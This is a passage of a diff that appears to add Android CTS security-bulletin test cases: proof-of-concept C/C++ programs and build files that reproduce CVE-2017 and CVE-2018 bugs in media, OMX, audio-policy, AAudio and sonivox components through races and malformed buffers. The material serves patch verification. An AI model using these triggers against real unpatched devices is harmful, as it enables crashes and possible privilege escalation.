+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "../includes/common.h"
+#include "../includes/memutils_track.h"
+#include <android/IMediaExtractor.h>
+#include <datasource/DataSourceFactory.h>
+#include <dlfcn.h>
+#include <media/DataSource.h>
+#include <media/IMediaHTTPService.h>
+#include <media/stagefright/DataSourceBase.h>
+#include <media/stagefright/MediaExtractor.h>
+#include <media/stagefright/MetaData.h>
+
+#define LIBNAME "/system/lib64/extractors/libmp4extractor.so"
+#define LIBNAME_APEX \
+ "/apex/com.android.media/lib64/extractors/libmp4extractor.so"
+
+#define PSSH_BOX_SIZE 1048576
+char enable_selective_overload = ENABLE_NONE;
+using namespace android;
+
+bool is_tracking_required(size_t size) { return (size == PSSH_BOX_SIZE); }
+
+int main(int argc, char *argv[]) {
+ (void)argc;
+ (void)argv;
+
+#if _64_BIT
+ GetExtractorDef getDef = nullptr;
+ if (argc < 2) {
+ return EXIT_FAILURE;
+ }
+
+ void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ return EXIT_FAILURE;
+ }
+ }
+
+ getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF");
+ if (!getDef) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ sp<DataSourceFactory> dsf = DataSourceFactory::getInstance();
+ sp<DataSource> dataSource = dsf->CreateFromURI(NULL, argv[1]);
+ if (dataSource == nullptr) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ void *meta = nullptr;
+ void *creator = nullptr;
+ FreeMetaFunc freeMeta = nullptr;
+ float confidence;
+ if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) {
+ creator = (void *)getDef().u.v2.sniff(dataSource->wrap(), &confidence,
+ &meta, &freeMeta);
+ } else if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V2) {
+ creator = (void *)getDef().u.v3.sniff(dataSource->wrap(), &confidence,
+ &meta, &freeMeta);
+ }
+ if (!creator) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ CMediaExtractor *ret = ((CreatorFunc)creator)(dataSource->wrap(), meta);
+ if (ret == nullptr) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ if (meta != nullptr && freeMeta != nullptr) {
+ freeMeta(meta);
+ }
+
+ sp<MetaData> metaData = new MetaData();
+ MediaExtractorCUnwrapper *mediaExtractorCUnwrapper =
+ new MediaExtractorCUnwrapper(ret);
+ enable_selective_overload = ENABLE_MALLOC_CHECK;
+ mediaExtractorCUnwrapper->getTrackMetaData(*metaData.get(), 0, 1);
+ enable_selective_overload = ENABLE_NONE;
+
+ dlclose(libHandle);
+#endif /* _64_BIT */
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0817/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0817/Android.bp
new file mode 100644
index 0000000..5380fb5
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0817/Android.bp
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2017-0817",
+
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_omxutils",
+ ],
+
+ include_dirs: [
+ "frameworks/native/include/media/openmax",
+ "frameworks/av/media/libstagefright",
+ "frameworks/native/include/media/hardware",
+ ],
+
+ shared_libs: [
+ "libstagefright",
+ "libbinder",
+ "libmedia",
+ "libmedia_omx",
+ "libutils",
+ "liblog",
+ "libui",
+ "libstagefright_foundation",
+ "libcutils",
+ "libhidlbase",
+ "libhidlmemory",
+ "libnativewindow",
+ "android.hidl.allocator@1.0",
+ "android.hidl.memory@1.0",
+ "android.hardware.media.omx@1.0",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0817/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0817/poc.cpp
new file mode 100644
index 0000000..778eef0
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0817/poc.cpp
@@ -0,0 +1,139 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "stdlib.h"
+#include "../includes/common.h"
+
+//This PoC is only for 32-bit builds.
+#if _32_BIT
+#include "../includes/omxUtils.h"
+#include <unistd.h>
+#include <hidlmemory/mapping.h>
+
+extern bool mUseTreble;
+sp<IAllocator> mAllocator = IAllocator::getService("ashmem");
+
+void exit_handler(void) {
+ omxUtilsFreeNode();
+}
+
+int allocateHidlPortBuffers(OMX_U32 portIndex, Vector<Buffer> *buffers,
+ int BufferSize) {
+ buffers->clear();
+ OMX_PARAM_PORTDEFINITIONTYPE def;
+ int err = omxUtilsGetParameter(portIndex, &def);
+ omxExitOnError(err);
+
+ for (OMX_U32 i = 0; i < def.nBufferCountActual; ++i) {
+ Buffer buffer;
+ buffer.mFlags = 0;
+ bool success;
+ auto transStatus = mAllocator->allocate(BufferSize, [&success, &buffer](
+ bool s,
+ hidl_memory const& m) {
+ success = s;
+ buffer.mHidlMemory = m;
+ });
+ omxExitOnError(!transStatus.isOk());
+ omxExitOnError(!success);
+ buffers->push(buffer);
+ }
+ return OK;
+}
+
+void poc() {
+ int i;
+ Vector < Buffer > inputBuffers;
+ Vector < Buffer > outputBuffers;
+ status_t err = omxUtilsInit((char*) "OMX.google.h264.encoder");
+ omxExitOnError(err);
+ atexit(exit_handler);
+
+ OMX_PARAM_PORTDEFINITIONTYPE def;
+ omxUtilsGetParameter(OMX_UTILS_IP_PORT, &def);
+
+ int inMemSize = def.nBufferCountActual * def.nBufferSize / 512;
+ int inBufferCnt = def.nBufferCountActual;
+ int inBufferSize = inMemSize / inBufferCnt;
+
+ sp < MemoryDealer > dealerIn = new MemoryDealer(inMemSize);
+ IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];
+
+ omxUtilsGetParameter(OMX_UTILS_OP_PORT, &def);
+
+ int outMemSize = def.nBufferCountActual * def.nBufferSize;
+ int outBufferCnt = def.nBufferCountActual;
+ int outBufferSize = outMemSize / outBufferCnt;
+
+ sp < MemoryDealer > dealerOut = new MemoryDealer(outMemSize);
+ IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
+
+ allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &inputBuffers, inBufferSize);
+ for (i = 0; i < inBufferCnt; ++i) {
+ inBufferId[i] = inputBuffers[i].mID;
+ sp < android::hidl::memory::V1_0::IMemory > mem = mapMemory(
+ inputBuffers[i].mHidlMemory);
+ memset((void *) mem->getPointer(), 0xCF, inBufferSize);
+ omxUtilsUseBuffer(OMX_UTILS_IP_PORT, inputBuffers[i].mHidlMemory, &inBufferId[i]);
+ }
+
+ allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &outputBuffers, outBufferSize);
+ for (i = 0; i < outBufferCnt; ++i) {
+ outBufferId[i] = outputBuffers[i].mID;
+ omxUtilsUseBuffer(OMX_UTILS_OP_PORT, outputBuffers[i].mHidlMemory, &outBufferId[i]);
+ }
+
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
+
+ for (i = 0; i < inBufferCnt; ++i) {
+ OMXBuffer omxBuf(0, inBufferSize);
+ omxUtilsEmptyBuffer(inBufferId[i], omxBuf, 0, 0, -1);
+ }
+
+ for (i = 0; i < outBufferCnt; ++i) {
+ OMXBuffer omxBuf(0, outBufferSize);
+ omxUtilsFillBuffer(outBufferId[i], omxBuf, -1);
+ }
+
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateLoaded);
+
+ for (i = 0; i < inBufferCnt; ++i) {
+ omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, inBufferId[i]);
+ }
+
+ for (i = 0; i < outBufferCnt; ++i) {
+ omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, outBufferId[i]);
+ }
+
+ omxUtilsFreeNode();
+ return;
+}
+#endif
+
+int main() {
+
+//This PoC is only for 32-bit builds.
+#if _32_BIT
+ time_t currentTime = start_timer();
+ while(timer_active(currentTime)) {
+ poc();
+ }
+#endif
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0837/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0837/Android.bp
new file mode 100644
index 0000000..0156bac
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0837/Android.bp
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2017-0837",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ shared_libs: [
+ "libutils",
+ "libbinder",
+ "libaudioclient",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0837/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0837/poc.cpp
new file mode 100644
index 0000000..c1999db0
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0837/poc.cpp
@@ -0,0 +1,115 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include <binder/IPCThreadState.h>
+#include <binder/IServiceManager.h>
+#include <media/IAudioPolicyService.h>
+
+using namespace android;
+
+#define MAX_NUMBER_OF_AUDIO_SESSIONS 1024
+#define MAX_NUMBER_OF_THREADS 5
+#define MAX_NUMBER_OF_ACQUIRE_SESSION_THREADS 2
+#define SLEEP_TIME_IN_SECONDS 5
+
+struct pocAudioSessionCtxt {
+ sp<IAudioPolicyService> audioService;
+ audio_session_t audioSession[MAX_NUMBER_OF_AUDIO_SESSIONS];
+ volatile bool startThread;
+};
+
+static void *acquireSoundTriggerSessionThread(void *arg) {
+ int i = 0;
+ pocAudioSessionCtxt *ctxt = (pocAudioSessionCtxt *)arg;
+ if (!ctxt) {
+ return nullptr;
+ }
+ time_t currentTime = start_timer();
+ while (timer_active(currentTime)) {
+ if (ctxt->startThread == true && ctxt->audioService != nullptr) {
+ audio_io_handle_t ioHandle = 0;
+ audio_devices_t device = AUDIO_DEVICE_NONE;
+ ctxt->audioService->acquireSoundTriggerSession(&(ctxt->audioSession[++i]),
+ &ioHandle, &device);
+ if (i >= MAX_NUMBER_OF_AUDIO_SESSIONS) {
+ i = 0;
+ }
+ }
+ }
+ return nullptr;
+}
+
+static void *releaseSoundTriggerSessionThread(void *arg) {
+ int i = 0;
+ pocAudioSessionCtxt *ctxt = (pocAudioSessionCtxt *)arg;
+ if (!ctxt) {
+ return nullptr;
+ }
+ time_t currentTime = start_timer();
+ while (timer_active(currentTime)) {
+ if (ctxt->startThread == true && ctxt->audioService != nullptr) {
+ ctxt->audioService->releaseSoundTriggerSession(ctxt->audioSession[++i]);
+ if (i >= MAX_NUMBER_OF_AUDIO_SESSIONS) {
+ i = 0;
+ }
+ }
+ }
+ return nullptr;
+}
+
+class MyDeathRecipient : public IBinder::DeathRecipient {
+public:
+ MyDeathRecipient() {}
+ virtual void binderDied(const wp<IBinder> &who __unused) {
+ exit(EXIT_SUCCESS);
+ }
+};
+
+int main() {
+ pocAudioSessionCtxt ctxt;
+ pthread_t thread[MAX_NUMBER_OF_THREADS];
+ ctxt.startThread = false;
+
+ for (int i = 0; i < MAX_NUMBER_OF_ACQUIRE_SESSION_THREADS; ++i) {
+ pthread_create(&thread[i], nullptr, acquireSoundTriggerSessionThread,
+ &ctxt);
+ }
+
+ for (int i = MAX_NUMBER_OF_ACQUIRE_SESSION_THREADS; i < MAX_NUMBER_OF_THREADS;
+ ++i) {
+ pthread_create(&thread[i], nullptr, releaseSoundTriggerSessionThread,
+ &ctxt);
+ }
+
+ sp<IServiceManager> sm = defaultServiceManager();
+ sp<IBinder> binder = sm->getService(String16("media.audio_policy"));
+ if (!binder) {
+ return EXIT_FAILURE;
+ }
+ ctxt.audioService = interface_cast<IAudioPolicyService>(binder);
+ if (!ctxt.audioService) {
+ return EXIT_FAILURE;
+ }
+
+ sp<MyDeathRecipient> deathRecipient = new MyDeathRecipient();
+ binder->linkToDeath(deathRecipient);
+ ctxt.startThread = true;
+ for (int i = 0; i < MAX_NUMBER_OF_THREADS; ++i) {
+ pthread_join(thread[i], nullptr);
+ }
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13180/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13180/Android.bp
new file mode 100644
index 0000000..2139583
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13180/Android.bp
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2017-13180",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ multilib: {
+ lib32: {
+ srcs: [
+ ":cts_hostsidetests_securitybulletin_omxutils",
+ ],
+ shared_libs: [
+ "libstagefright",
+ "libbinder",
+ "libmedia_omx",
+ "libutils",
+ "liblog",
+ "libstagefright_foundation",
+ "libcutils",
+ "libhidlbase",
+ "libhidlmemory",
+ "android.hidl.allocator@1.0",
+ "android.hardware.media.omx@1.0",
+ ],
+ suffix: "32",
+ },
+ lib64: {
+ suffix: "64",
+ },
+ },
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13180/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13180/poc.cpp
new file mode 100644
index 0000000..33ffdaf
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13180/poc.cpp
@@ -0,0 +1,111 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy of
+ * the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations under
+ * the License.
+ */
+
+#include "../includes/common.h"
+#include <stdlib.h>
+
+// This PoC is only for 32-bit builds
+#if _32_BIT
+#include "../includes/omxUtils.h"
+#define TIMESTAMP_US 0x00010001
+
+extern bool mUseTreble;
+sp<IAllocator> mAllocator = IAllocator::getService("ashmem");
+
+int allocateHidlPortBuffers(OMX_U32 portIndex, Vector<Buffer> *buffers) {
+ buffers->clear();
+ OMX_PARAM_PORTDEFINITIONTYPE def;
+ int err = omxUtilsGetParameter(portIndex, &def);
+ omxExitOnError(err);
+
+ for (OMX_U32 i = 0; i < def.nBufferCountActual; ++i) {
+ Buffer buffer;
+ buffer.mFlags = 0;
+ bool success;
+ auto transStatus = mAllocator->allocate(
+ def.nBufferSize, [&success, &buffer](bool s, hidl_memory const &m) {
+ success = s;
+ buffer.mHidlMemory = m;
+ });
+ omxExitOnError(!transStatus.isOk());
+ omxExitOnError(!success);
+ omxUtilsUseBuffer(portIndex, buffer.mHidlMemory, &buffer.mID);
+ buffers->push(buffer);
+ }
+ return OK;
+}
+#endif /* _32_BIT */
+
+int main() {
+
+// This PoC is only for 32-bit builds
+#if _32_BIT
+ int i;
+ Vector<Buffer> inputBuffers;
+ Vector<Buffer> outputBuffers;
+ status_t err = omxUtilsInit((char *)"OMX.google.h264.decoder");
+
+ omxExitOnError(err);
+
+ OMX_PARAM_PORTDEFINITIONTYPE def;
+ omxUtilsGetParameter(OMX_UTILS_IP_PORT, &def);
+
+ int inMemorySize = def.nBufferCountActual * def.nBufferSize;
+ int inBufferCount = def.nBufferCountActual;
+ sp<MemoryDealer> dealerIn = new MemoryDealer(inMemorySize);
+ IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCount];
+
+ omxUtilsGetParameter(OMX_UTILS_OP_PORT, &def);
+
+ int outMemorySize = def.nBufferCountActual * def.nBufferSize;
+ int outBufferCnt = def.nBufferCountActual;
+ sp<MemoryDealer> dealerOut = new MemoryDealer(outMemorySize);
+ IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
+
+ allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &inputBuffers);
+ for (i = 0; i < inBufferCount; ++i) {
+ inBufferId[i] = inputBuffers[i].mID;
+ }
+
+ allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &outputBuffers);
+ for (i = 0; i < outBufferCnt; ++i) {
+ outBufferId[i] = outputBuffers[i].mID;
+ }
+
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
+
+ OMX_U32 flags = OMX_BUFFERFLAG_ENDOFFRAME;
+ int64_t timeUs = TIMESTAMP_US;
+ omxUtilsEmptyBuffer(inBufferId[0], OMXBuffer::sPreset, flags, timeUs, -1);
+ omxUtilsFillBuffer(outBufferId[0], OMXBuffer::sPreset, -1);
+
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateLoaded);
+
+ for (i = 0; i < inBufferCount; ++i) {
+ omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, inputBuffers[i].mID);
+ }
+
+ for (i = 0; i < outBufferCnt; ++i) {
+ omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, outputBuffers[i].mID);
+ }
+
+ omxUtilsFreeNode();
+#endif /* _32_BIT */
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13234/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13234/Android.bp
new file mode 100644
index 0000000..8ba14a9
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13234/Android.bp
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2017-13234",
+
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+
+ srcs: [
+ "poc.c",
+ ":cts_hostsidetests_securitybulletin_memutils_track",
+ ],
+
+ include_dirs: [
+ "external/sonivox/arm-wt-22k/host_src",
+ ],
+
+ shared_libs: [
+ "libsonivox",
+ ],
+
+ cflags: [
+ "-DCHECK_MEMORY_LEAK",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13234/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13234/poc.c
new file mode 100644
index 0000000..3e9c66b
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13234/poc.c
@@ -0,0 +1,77 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <stdlib.h>
+#include <string.h>
+#include <stdbool.h>
+#include "../includes/memutils_track.h"
+#include "eas.h"
+
+char enable_selective_overload = ENABLE_NONE;
+
+bool is_tracking_required(size_t size) {
+ return ((size != 1024) && (size != 4096));
+}
+
+int EAS_fread(void *handle, void *buf, int offset, int size) {
+ fseek(handle, offset, SEEK_SET);
+ return fread(buf, 1, size, handle);
+}
+
+int EAS_fsize(void *handle) {
+ fseek(handle, 0, SEEK_END);
+ return ftell(handle);
+}
+
+static void PlayFile(EAS_DATA_HANDLE easData, const char* filename) {
+ EAS_HANDLE handle;
+ EAS_FILE file;
+ file.handle = (void*) fopen(filename, "rb");
+ file.readAt = EAS_fread;
+ file.size = EAS_fsize;
+ enable_selective_overload = ENABLE_MALLOC_CHECK;
+ if (EAS_OpenFile(easData, &file, &handle) != EAS_SUCCESS) {
+ enable_selective_overload = ENABLE_NONE;
+ if(file.handle) {
+ fclose(file.handle);
+ }
+ return;
+ }
+ EAS_Prepare(easData, handle);
+ EAS_CloseFile(easData, handle);
+ enable_selective_overload = ENABLE_NONE;
+ if(file.handle) {
+ fclose(file.handle);
+ }
+ return;
+}
+
+int main(int argc, char **argv) {
+ EAS_DATA_HANDLE easData;
+ EAS_RESULT result;
+
+ if (argc < 2) {
+ return EXIT_FAILURE;
+ }
+
+ result = EAS_Init(&easData);
+ if (result != EAS_SUCCESS) {
+ return EXIT_FAILURE;
+ }
+ PlayFile(easData, argv[1]);
+ EAS_Shutdown(easData);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9428/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9428/Android.bp
new file mode 100644
index 0000000..a4c4f0a
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9428/Android.bp
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2018-9428",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ shared_libs: [
+ "libmedia",
+ "libutils",
+ "libbinder",
+ "libaaudio_internal",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9428/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9428/poc.cpp
new file mode 100644
index 0000000..cf21dbc
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9428/poc.cpp
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include "binding/IAAudioService.h"
+#include <binder/IPCThreadState.h>
+#include <binder/IServiceManager.h>
+
+using namespace android;
+using namespace aaudio;
+
+typedef struct _thread_args {
+ aaudio_handle_t aaudioHandle;
+ sp<IAAudioService> aas;
+} thread_args;
+
+static void *closeStreamThread(void *arg) {
+ thread_args *threadArgs = (thread_args *)arg;
+ if (threadArgs) {
+ if (threadArgs->aas) {
+ threadArgs->aas->closeStream(threadArgs->aaudioHandle);
+ }
+ }
+ return nullptr;
+}
+
+static void *startStreamThread(void *arg) {
+ thread_args *threadArgs = (thread_args *)arg;
+ if (threadArgs) {
+ if (threadArgs->aas) {
+ threadArgs->aas->startStream(threadArgs->aaudioHandle);
+ }
+ }
+ return nullptr;
+}
+
+int main() {
+ thread_args targs;
+
+ sp<IServiceManager> sm = defaultServiceManager();
+ sp<IBinder> binder = sm->getService(String16("media.aaudio"));
+ targs.aas = interface_cast<IAAudioService>(binder);
+ if (!(targs.aas)) {
+ return EXIT_FAILURE;
+ }
+ aaudio::AAudioStreamRequest request;
+ request.getConfiguration().setSharingMode(AAUDIO_SHARING_MODE_SHARED);
+ request.getConfiguration().setDeviceId(0);
+ request.getConfiguration().setSampleRate(AAUDIO_UNSPECIFIED);
+
+ time_t currentTime = start_timer();
+ while (timer_active(currentTime)) {
+ pthread_t pt[2];
+
+ aaudio::AAudioStreamConfiguration configurationOutput;
+ targs.aaudioHandle = targs.aas->openStream(request, configurationOutput);
+ pthread_create(&pt[0], nullptr, closeStreamThread,
+ &targs); /* close stream */
+ pthread_create(&pt[1], nullptr, startStreamThread,
+ &targs); /* start stream */
+
+ sleep(5);
+ }
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/Android.bp
new file mode 100644
index 0000000..12c9ca0
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/Android.bp
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2018-9466-CVE-2017-9047",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc-CVE-2017-9047.c",
+ ],
+ include_dirs: [
+ "external/libxml2",
+ ],
+ shared_libs: [
+ "libxml2",
+ ],
+}
+
+cc_test {
+ name: "CVE-2018-9466-CVE-2017-9048",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc-CVE-2017-9048.c",
+ ],
+ include_dirs: [
+ "external/libxml2",
+ ],
+ shared_libs: [
+ "libxml2",
+ ],
+}
+
+cc_test {
+ name: "CVE-2018-9466-CVE-2017-9049",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc-CVE-2017-9049.c",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
